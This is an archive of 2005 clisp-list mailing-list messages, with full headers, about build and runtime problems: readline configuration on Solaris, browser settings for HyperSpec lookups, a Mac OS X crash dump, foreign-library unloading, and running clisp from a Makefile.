Date: Fri Nov 18 11:56:10 2005 X-Original-Date: Fri, 18 Nov 2005 14:55:43 -0500 >>>>> "Sam" == Sam Steingold writes: Sam> libnoreadline is built unless you specify --with-no-readline (sic!). Sam> when you _run_ clisp, is readline used? Sam> if not, run under gdb and see why stdio_same_tty_p() returns false. I think I know at least part of the problem. First, according to unix/INSTALL, I should use --with-libreadline-prefix. Ok, that helps. However, I see from /config.log: configure:24821: /apps/gnu/solaris2.8/gcc-3.3.3/bin/gcc -g -O -o conftest -g -O2 -I/apps/public/solaris2.8/include conftest.c /apps/gnu/solaris2.8/lib/libreadline.so -R/apps/gnu/solaris2.8/lib -ltermcap -ldl -lnsl -lsocket conftest.c:174:31: readline/readline.h: No such file or directory Well, that, of course isn't going to work because readline/readline.h is in /apps/gnu/solaris2.8/include, not /apps/public/solaris2.8/include. I don't even know why it decided to use -I/apps/public/solaris2.8/include. Oh, this is with 2.35. I have yet to download the current CVS version. Ray From s11@member.fsf.org Fri Nov 18 13:10:34 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EdDVC-0001fv-9E for clisp-list@lists.sourceforge.net; Fri, 18 Nov 2005 13:10:34 -0800 Received: from [192.195.225.73] (helo=uesmtp.evansville.edu) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EdDVA-0006P0-PI for clisp-list@lists.sourceforge.net; Fri, 18 Nov 2005 13:10:34 -0800 Received: from uemail.evansville.edu ([10.5.0.16]) by uesmtp.evansville.edu with Microsoft SMTPSVC(6.0.3790.1830); Fri, 18 Nov 2005 15:08:33 -0600 Received: from cslabpc6.evansville.edu ([10.10.0.27]) by uemail.evansville.edu with Microsoft SMTPSVC(6.0.3790.1830); Fri, 18 Nov 2005 15:08:32 -0600 Subject: Re: [clisp-list] heads up - on-line docs, pre-test etc From: Stephen Compall To: Yaroslav Kavenchuk Cc: clisp-list@lists.sourceforge.net In-Reply-To: <437E3102.3050103@tut.by> References: <437E3102.3050103@tut.by> Content-Type: text/plain Message-Id: <1132348204.15869.13.camel@cslabpc6.evansville.edu> Mime-Version: 1.0 X-Mailer: Evolution 2.2.2 (2.2.2-5) Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 18 Nov 2005 21:08:32.0593 (UTC) FILETIME=[3B604410:01C5EC84] X-Spam-Score: 0.8 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 18 13:11:02 2005 X-Original-Date: Fri, 18 Nov 2005 15:10:04 -0600 On Fri, 2005-11-18 at 21:52 +0200, Yaroslav Kavenchuk wrote: > ;; running ["mozilla" "C:\\CL\\doc\\HyperSpec\\Body/f_revers.htm"]... > *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the > file specified. > The following restarts are available: > ABORT :R1 ABORT > > Mozilla is installed I don't think Mozilla is in your path. (setf (second (assoc :mozilla custom:*browsers*)) "c:/path/to/mozilla") On GNU/Linux, my output is similar to yours, but I get http://www.lisp.org/HyperSpec/Body/fun_reversecm_nreverse.html in my browser. [5]> (describe 'ext:*args*) *ARGS* is the symbol *ARGS*, lies in #, is accessible in 7 packages COMMON-LISP-USER, EXT, FFI, POSIX, READLINE, SCREEN, SYSTEM, a variable declared SPECIAL, value: NIL. # is the package named EXT. It imports the external symbols of 7 packages POSIX, SOCKET, GSTREAM, GRAY, I18N, COMMON-LISP, CUSTOM and exports 715 symbols to 7 packages READLINE, POSIX, FFI, CS-COMMON-LISP-USER, SCREEN, COMMON-LISP-USER, SYSTEM. NIL is the empty list, the symbol NIL, lies in #, is accessible in 11 packages CLOS, COMMON-LISP, COMMON-LISP-USER, EXPORTING, EXT, FFI, POSIX, READLINE, REGEXP, SCREEN, SYSTEM, a constant, value: NIL, names a type, has 3 properties SYSTEM::DOC, SYSTEM::INSTRUCTION, SYSTEM::TYPE-SYMBOL .;; running ["firefox" "-remote" "openURL(http://www.lisp.org/HyperSpec/Body/any_nil.html,new-tab)" ]...done ;; running ["firefox" "-remote" "openURL(http://www.podval.org/~sds/clisp/impnotes/exporting,new-tab)" ]...done For more information, evaluate (SYMBOL-PLIST 'NIL). # is the package named COMMON-LISP. It has 2 nicknames LISP, CL. It imports the external symbols of 1 package CLOS and exports 978 symbols to 10 packages READLINE, REGEXP, POSIX, EXPORTING, FFI, SCREEN, CLOS, COMMON-LISP-USER, EXT, SYSTEM. NIL [see above] Documentation: CLHS: "Body/any_nil.html" SYSTEM::IMPNOTES: "exporting" My browser loads http://www.lisp.org/HyperSpec/Body/any_nil.html and http://www.podval.org/~sds/clisp/impnotes/exporting (a 404), which is strange. -- Stephen Compall http://scompall.nocandysoftware.com/blog From johan@liseborn.se Fri Nov 18 13:56:08 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EdEDD-0003WA-MQ for clisp-list@lists.sourceforge.net; Fri, 18 Nov 2005 13:56:03 -0800 Received: from argv.frobbit.se ([195.66.31.72] helo=frobbit.se) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EdED9-0005T2-Fe for clisp-list@lists.sourceforge.net; Fri, 18 Nov 2005 13:56:00 -0800 Received: from [81.216.231.238] (account mjl@liseborn.se HELO [192.168.30.39]) by frobbit.se (CommuniGate Pro SMTP 4.3.6) with ESMTPA id 2964578 for clisp-list@lists.sourceforge.net; Fri, 18 Nov 2005 22:55:46 +0100 Mime-Version: 1.0 (Apple Message framework v746.2) Content-Transfer-Encoding: 7bit Message-Id: <807B7660-DB82-43E2-807E-F4B0A90FC124@liseborn.se> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed To: clisp-list@lists.sourceforge.net From: Johan Liseborn X-Mailer: Apple Mail (2.746.2) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] CVS head - Crash dump on Mac OS X 10.4.3 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 18 13:57:01 2005 X-Original-Date: Fri, 18 Nov 2005 22:55:46 +0100 I built from CVS head (checked out Nov 18, around 16:15 CET), using the same configuration that I am using for 2.35; the build seemed to go ok, although I did not look in detail on the full printout during the build. However, when I run clisp (or clisp -K full), my Mac reports a crash dump in the crashreporter.log. I am quite confused, as clisp still starts, although it takes a little longer than when I start my 2.35 build. I have not tested the build extensively, but some simple REPL tests seems to work (like printing some strings and stuff). I am currently unsure on how to proceed in trying to figure out what the problem might be, so any pointers would be welcome. I include some additional information below, in case other OS X users are more cluefull than me. My config looks like: $ ./configure --prefix=/opt/local --with-module=rawsock --with- module=regexp --build ../build-re (it seems regexp is now built by default, is that correct?) The crashlog looks like: ===== Friday, November 18, 2005 22:20:58 Europe/Stockholm ===== Fri Nov 18 22:21:04 2005 crashdump[17468]: crashdump started Fri Nov 18 22:21:05 2005 crashdump[17468]: Started writing crash report to: /Users/mjl/Library/Logs/CrashReporter/lisp.run.crash.log Fri Nov 18 22:21:06 2005 crashdump[17468]: Finished writing crash report to: /Users/mjl/Library/Logs/CrashReporter/lisp.run.crash.log The contents of list.run.crash.log looks like: Host Name: Johans-Computer Date/Time: 2005-11-18 22:35:02.962 +0100 OS Version: 10.4.3 (Build 8F46) Report Version: 3 Command: lisp.run Path: /Users/mjl/work/clisp-current/build-re/base/lisp.run Parent: bash [4780] Version: ??? (???) PID: 17552 Thread: 0 Exception: EXC_BAD_ACCESS (0x0001) Codes: KERN_PROTECTION_FAILURE (0x0002) at 0x19fb6130 Thread 0 Crashed: 0 lisp.run 0x0006f8b4 closed_buffered + 48 (crt.c:355) 1 lisp.run 0x0007850c closed_all_files + 108 (crt.c:355) 2 lisp.run 0x000289ac loadmem_from_handle + 3168 (crt.c:355) 3 lisp.run 0x00028c68 loadmem + 128 (crt.c:355) 4 lisp.run 0x00029058 init_memory + 888 (crt.c:355) 5 lisp.run 0x0002b610 main + 3940 (crt.c:355) 6 lisp.run 0x00002878 _start + 340 (crt.c:272) 7 lisp.run 0x00002720 start + 60 Thread 0 crashed with PPC Thread State 64: srr0: 0x000000000006f8b4 srr1: 0x000000000000d030 vrsave: 0x0000000000000000 cr: 0x22000248 xer: 0x0000000000000004 lr: 0x000000000007850c ctr: 0x0000000000000001 r0: 0x000000000007850c r1: 0x00000000bffff080 r2: 0x0000000000000000 r3: 0x0000000000000000 r4: 0x0000000000500490 r5: 0x00000000bfffefd8 r6: 0x0000000000000000 r7: 0x000000000006f88c r8: 0x00000000001b0f4d r9: 0x0000000019fb613c r10: 0x0000000019fb60dc r11: 0x0000000000000000 r12: 0x0000000090006700 r13: 0x0000000000000000 r14: 0x0000000000000000 r15: 0x0000000000000000 r16: 0x00000000001a8040 r17: 0x00000000001a8014 r18: 0x0000000000000001 r19: 0x00000000001a8014 r20: 0x00000000bffff0b0 r21: 0x00000000bffff0e0 r22: 0x0000000000000005 r23: 0x00000000005004cc r24: 0x00000000001b0f4d r25: 0x00000000001b84a8 r26: 0x00000000001b84a8 r27: 0x00000000fffffff6 r28: 0x00000000667295e8 r29: 0x0000000019fb60dd r30: 0x0000000019fb60dc r31: 0x00000000000784a8 Binary Images Description: 0x1000 - 0x1a7fff lisp.run /Users/mjl/work/clisp-current/ build-re/base/lisp.run 0x305000 - 0x326fff libreadline.5.0.dylib /opt/local/lib/ libreadline.5.0.dylib 0x36c000 - 0x373fff libintl.3.dylib /opt/local/lib/libintl.3.dylib 0x388000 - 0x45efff libiconv.2.dylib /opt/local/lib/libiconv. 2.dylib 0x8fe00000 - 0x8fe54fff dyld 44.2 /usr/lib/dyld 0x90000000 - 0x901b3fff libSystem.B.dylib /usr/lib/libSystem.B.dylib 0x9020b000 - 0x9020ffff libmathCommon.A.dylib /usr/lib/system/ libmathCommon.A.dylib 0x9073a000 - 0x90813fff com.apple.CoreFoundation 6.4.4 (368.18) / System/Library/Frameworks/CoreFoundation.framework/Versions/A/ CoreFoundation 0x9085e000 - 0x90960fff libicucore.A.dylib /usr/lib/libicucore.A.dylib 0x909ba000 - 0x90a3efff libobjc.A.dylib /usr/lib/libobjc.A.dylib 0x90aed000 - 0x90afffff libauto.dylib /usr/lib/libauto.dylib 0x913ac000 - 0x913b4fff libgcc_s.1.dylib /usr/lib/libgcc_s.1.dylib 0x913b9000 - 0x913d9fff libmx.A.dylib /usr/lib/libmx.A.dylib 0x9688a000 - 0x968b8fff libncurses.5.4.dylib /usr/lib/libncurses. 5.4.dylib Kind Regards, johan -- Johan Liseborn From lisp-clisp-list@m.gmane.org Fri Nov 18 17:50:08 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EdHra-0006Xd-S4 for clisp-list@lists.sourceforge.net; Fri, 18 Nov 2005 17:49:58 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EdHrZ-0000hj-KD for clisp-list@lists.sourceforge.net; Fri, 18 Nov 2005 17:49:59 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1EdHr0-0005IW-0K for clisp-list@lists.sourceforge.net; Sat, 19 Nov 2005 02:49:22 +0100 Received: from thar.dhcp.asu.edu ([149.169.179.56]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 19 Nov 2005 02:49:21 +0100 Received: from efuzzyone by thar.dhcp.asu.edu with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 19 Nov 2005 02:49:21 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 43 Message-ID: References: <38b3aaee0511180840x311c30ceh@mail.gmail.com> <200511181706.jAIH6SI5013828@grant.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: thar.dhcp.asu.edu Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5-b22 (daikon, windows-nt) Cancel-Lock: sha1:cJwvEQXTj5fiUlqoafdlOI6ou4A= X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: about ffi:close-foreign-library Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 18 17:51:01 2005 X-Original-Date: Fri, 18 Nov 2005 18:48:47 -0700 Devon Sean McCullough writes: > ... > (use "FFI") > (def-call-out messagebox ...) > ... > (close-foreign-library "user32.dll") > > ... # > Without even looking at the manual, > I can tell you "user32.dll" is a string, > not a foreign pointer. I maybe wrong but according to my understanding, close-foreign-library takes string as an argument (I have not seen the manual recently either, but I have used this function), and I doubt if your speculation is right. When I use close-foreign-library with wxCL, it returns the same invalid-pointer thing and some memory location in hex. But things do work alright, close-foreign-library really unloads the library. I guess, this invalid pointer might be address of the handle or something which is used by clisp to keep track of the library. > > I can speculate, again sans manual, > that (setq xyz (def-call-out ... > or (defvar xyz (def-call-out ... > followed by (close-foreign-library xyz) > might be worth trying. > -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.html ,---- | Great wits are sure to madness near allied, | And thin partitions do their bounds divide. | | (John Dryden, Absalom and Achitophel, 1681) `---- From daly@axiom-developer.org Fri Nov 18 21:09:37 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EdKyn-0005ti-LJ for clisp-list@lists.sourceforge.net; Fri, 18 Nov 2005 21:09:37 -0800 Received: from mx-3.zoominternet.net ([24.154.1.22]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EdKym-0002V6-2H for clisp-list@lists.sourceforge.net; Fri, 18 Nov 2005 21:09:37 -0800 Received: from mua-3.zoominternet.net (mua-3.zoominternet.net [24.154.1.46]) by mx-3.zoominternet.net (8.12.11/8.12.11) with ESMTP id jAJ59eRp012958; Sat, 19 Nov 2005 00:09:40 -0500 Received: from localhost.localdomain (acs-72-23-16-82.zoominternet.net [72.23.16.82]) by mua-3.zoominternet.net (Postfix) with ESMTP id 0155A7F407; Sat, 19 Nov 2005 00:09:32 -0500 (EST) Received: (from root@localhost) by localhost.localdomain (8.11.6/8.11.6) id jAJ607P29849; Sat, 19 Nov 2005 01:00:07 -0500 Message-Id: <200511190600.jAJ607P29849@localhost.localdomain> From: root To: clisp-list@lists.sourceforge.net Cc: daly@axiom-developer.org, axiom-developer@nongnu.org Reply-To: daly@axiom-developer.org X-Spam-Score: 0.10 () [Tag at 15.00] FORGED_RCVD_HELO X-CanItPRO-Stream: outgoing X-Scanned-By: CanIt (www . roaringpenguin . com) on 24.154.1.22 X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] infinite loop from Makefile Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 18 21:10:03 2005 X-Original-Date: Sat, 19 Nov 2005 01:00:07 -0500 I'm testing axiom under a variety of common lisps. The Makefile I use does the following: @-echo (load "bookvol5.lisp") | clisp If I get an error, e.g. ** - Continuable Error FUNCALL: undefined function foo If you continue (by typing 'continue): Retry The following restarts are also available: STORE-VALUE :R1 USE-VALUE :R2 clisp continues in an infinite loop forcing me to kill the shell and I lose all of the output. so I tried: @-echo (progn (load "bookvol5.lisp") (common-lisp-user::quit)) | clisp with the same result. How can I invoke clisp from a Makefile without entering an infinite loop? Tim Daly From weiss@uni-mainz.de Sat Nov 19 04:13:47 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EdRbG-000289-PX for clisp-list@lists.sourceforge.net; Sat, 19 Nov 2005 04:13:46 -0800 Received: from mailgate2.zdv.uni-mainz.de ([134.93.178.130]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EdRbG-0007jM-5t for clisp-list@lists.sourceforge.net; Sat, 19 Nov 2005 04:13:46 -0800 Received: from exfront01.zdv.Uni-Mainz.DE (exfront01.zdv.Uni-Mainz.DE [134.93.176.49]) by mailgate2.zdv.Uni-Mainz.DE (Postfix) with ESMTP id 3B0C6300030B; Sat, 19 Nov 2005 13:13:42 +0100 (CET) Received: from EXCHANGE01.zdv.Uni-Mainz.DE ([134.93.177.33]) by exfront01.zdv.Uni-Mainz.DE with Microsoft SMTPSVC(6.0.3790.1830); Sat, 19 Nov 2005 13:11:59 +0100 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5.7232.53 Message-ID: <4A2AB4CC01998D46807D8032B06CDBDAC6EE23@EXCHANGE01.zdv.Uni-Mainz.DE> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [Axiom-developer] infinite loop from Makefile Thread-Index: AcXs+VdVHwSN9CpWSuKSQN7VWJOgGAACLIQg From: "Weiss, Juergen" To: , Cc: X-OriginalArrivalTime: 19 Nov 2005 12:11:59.0089 (UTC) FILETIME=[70F72610:01C5ED02] X-Virus-Scanned: by amavisd-new at uni-mainz.de X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] RE: [Axiom-developer] infinite loop from Makefile Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Nov 19 04:14:03 2005 X-Original-Date: Sat, 19 Nov 2005 13:11:58 +0100 The following Makefile works for me (under FreeBSD) test: @- echo '(progn (print 5) (quit))' | clisp=20 Regards Juergen Weiss Juergen Weiss | Universitaet Mainz, Zentrum fuer Datenverarbeitung, weiss@uni-mainz.de| 55099 Mainz, Tel: +49(6131)39-26361, FAX: +49(6131)39-26407 =20 > -----Original Message----- > From: axiom-developer-bounces+weiss=3Duni-mainz.de@nongnu.org=20 > [mailto:axiom-developer-bounces+weiss=3Duni-mainz.de@nongnu.org] > On Behalf Of root > Sent: Saturday, November 19, 2005 7:00 AM > To: clisp-list@lists.sourceforge.net > Cc: axiom-developer@nongnu.org > Subject: [Axiom-developer] infinite loop from Makefile >=20 > I'm testing axiom under a variety of common lisps. > The Makefile I use does the following: >=20 > @-echo (load "bookvol5.lisp") | clisp >=20 > If I get an error, e.g. >=20 > ** - Continuable Error > FUNCALL: undefined function foo > If you continue (by typing 'continue): Retry > The following restarts are also available: > STORE-VALUE :R1 > USE-VALUE :R2 >=20 > clisp continues in an infinite loop forcing me to kill the shell > and I lose all of the output. >=20 > so I tried: >=20 > @-echo (progn (load "bookvol5.lisp")=20 > (common-lisp-user::quit)) | clisp >=20 > with the same result. >=20 > How can I invoke clisp from a Makefile without entering an=20 > infinite loop? >=20 > Tim Daly >=20 >=20 > _______________________________________________ > Axiom-developer mailing list > Axiom-developer@nongnu.org > http://lists.nongnu.org/mailman/listinfo/axiom-developer >=20 From kavenchuk@tut.by Sat Nov 19 04:46:42 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EdS78-0003AI-0s for clisp-list@lists.sourceforge.net; Sat, 19 Nov 2005 04:46:42 -0800 Received: from speedy.tutby.com ([195.137.160.40] helo=tut.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EdS76-0005X5-BP for clisp-list@lists.sourceforge.net; Sat, 19 Nov 2005 04:46:42 -0800 X-VBA32: Checked Received: from [194.158.220.12] (account kavenchuk HELO [194.158.220.12]) by tut.by (CommuniGate Pro SMTP 4.3.6) with ESMTPSA id 21612004; Sat, 19 Nov 2005 14:44:34 +0200 Message-ID: <437F1EA6.20603@tut.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru-ru, ru, en-en, en MIME-Version: 1.0 To: Stephen Compall CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] heads up - on-line docs, pre-test etc References: <437E3102.3050103@tut.by> <1132348204.15869.13.camel@cslabpc6.evansville.edu> In-Reply-To: <1132348204.15869.13.camel@cslabpc6.evansville.edu> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 1.2 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Nov 19 04:47:02 2005 X-Original-Date: Sat, 19 Nov 2005 14:46:30 +0200 Stephen Compall wrote: >I don't think Mozilla is in your path. > >(setf (second (assoc :mozilla custom:*browsers*)) "c:/path/to/mozilla") > > Thanks! >On GNU/Linux, my output is similar to yours, but I get >http://www.lisp.org/HyperSpec/Body/fun_reversecm_nreverse.html in my >browser. > >[5]> (describe 'ext:*args*) > >*ARGS* is the symbol *ARGS*, lies in #, is accessible in 7 >packages COMMON-LISP-USER, EXT, FFI, POSIX, READLINE, SCREEN, SYSTEM, a >variable declared SPECIAL, value: NIL. > > # is the package named EXT. > It imports the external symbols of 7 packages POSIX, SOCKET, GSTREAM, GRAY, > I18N, COMMON-LISP, CUSTOM and exports 715 symbols to 7 packages READLINE, > POSIX, FFI, CS-COMMON-LISP-USER, SCREEN, COMMON-LISP-USER, SYSTEM. > > NIL is the empty list, the symbol NIL, lies in #, is > accessible in 11 packages CLOS, COMMON-LISP, COMMON-LISP-USER, EXPORTING, > EXT, FFI, POSIX, READLINE, REGEXP, SCREEN, SYSTEM, a constant, value: NIL, > names a type, has 3 properties SYSTEM::DOC, SYSTEM::INSTRUCTION, > SYSTEM::TYPE-SYMBOL > .;; running ["firefox" "-remote" > "openURL(http://www.lisp.org/HyperSpec/Body/any_nil.html,new-tab)" > ]...done > ;; running ["firefox" "-remote" > "openURL(http://www.podval.org/~sds/clisp/impnotes/exporting,new-tab)" > ]...done > > For more information, evaluate (SYMBOL-PLIST 'NIL). > > # is the package named COMMON-LISP. It has 2 > nicknames LISP, CL. > It imports the external symbols of 1 package CLOS and exports 978 symbols > to 10 packages READLINE, REGEXP, POSIX, EXPORTING, FFI, SCREEN, CLOS, > COMMON-LISP-USER, EXT, SYSTEM. > > NIL [see above] > > Documentation: > CLHS: > "Body/any_nil.html" > SYSTEM::IMPNOTES: > "exporting" > >My browser loads http://www.lisp.org/HyperSpec/Body/any_nil.html and >http://www.podval.org/~sds/clisp/impnotes/exporting (a 404), which is >strange. > > [1]> (custom:clhs-root) "C:/CL/doc/HyperSpec/" [2]> (custom:impnotes-root) "http://www.podval.org/~sds/clisp/impnotes/" [3]> *browser* :DEFAULT [4]> (describe 'nreverse) NREVERSE is the symbol NREVERSE, lies in #, is accessible in 17 packages ASDF, CLOS, COMMON-LISP, COMMON-LISP-USER, EXPORTING, EXT, FFI, LDAP, MAKE, PCRE, POSIX, RAWSOCK, READLINE, REGEXP, SCREEN, SYSTEM, ZLIB, names a ;; SYSTEM::GET-CLHS-MAP(#)...978/978 symbols function. ;; starting the default system browser with url "C:/CL/doc/HyperSpec/Body/f_revers.htm"...done ;; connecting to "http://www.podval.org/~sds/clisp/impnotes/id-href.map"...connected...HTTP/1.1 200 OK...64,426 bytes ;; SYSTEM::GET-STRING-MAP(#)... WARNING: SYSTEM::GET-STRING-MAP: invalid map "" --> "faq.html#id3219051" WARNING: IMPNOTES-ROOT returns invalid value "http://www.podval.org/~sds/clisp/impnotes/", fix it, (GETENV "IMPNOTES") or *IMPNOTES-ROOT-DEFAULT* # is the package named COMMON-LISP. It has 2 nicknames LISP, CL. It imports the external symbols of 1 package CLOS and exports 978 symbols to 16 packages ASDF, MAKE, ZLIB, RAWSOCK, PCRE, LDAP, READLINE, REGEXP, POSIX, EXPORTING, FFI, SCREEN, CLOS, COMMON-LISP-USER, EXT, SYSTEM. # is a built-in system function. Argument list: (ARG0). My browser load only "file:///C:/CL/doc/HyperSpec/Body/f_revers.htm" if restart clisp and run (describe 'ext:*args*) [1]> (describe 'ext:*args*) *ARGS* is the symbol *ARGS*, lies in #, is accessible in 9 packages COMMON-LISP-USER, EXT, FFI, LDAP, POSIX, READLINE, SCREEN, SYSTEM, ZLIB, a variable declared SPECIAL, value: NIL ;; connecting to "http://www.podval.org/~sds/clisp/impnotes/id-href.map"...connected...HTTP/1.1 200 OK...64,426 bytes ;; SYSTEM::GET-STRING-MAP(#)... WARNING: SYSTEM::GET-STRING-MAP: invalid map "" --> "faq.html#id3219051" WARNING: IMPNOTES-ROOT returns invalid value "http://www.podval.org/~sds/clisp/impnotes/", fix it, (GETENV "IMPNOTES") or *IMPNOTES-ROOT-DEFAULT* . # is the package named EXT. It imports the external symbols of 8 packages LDAP, POSIX, SOCKET, GSTREAM, GRAY, I18N, COMMON-LISP, CUSTOM and exports 706 symbols to 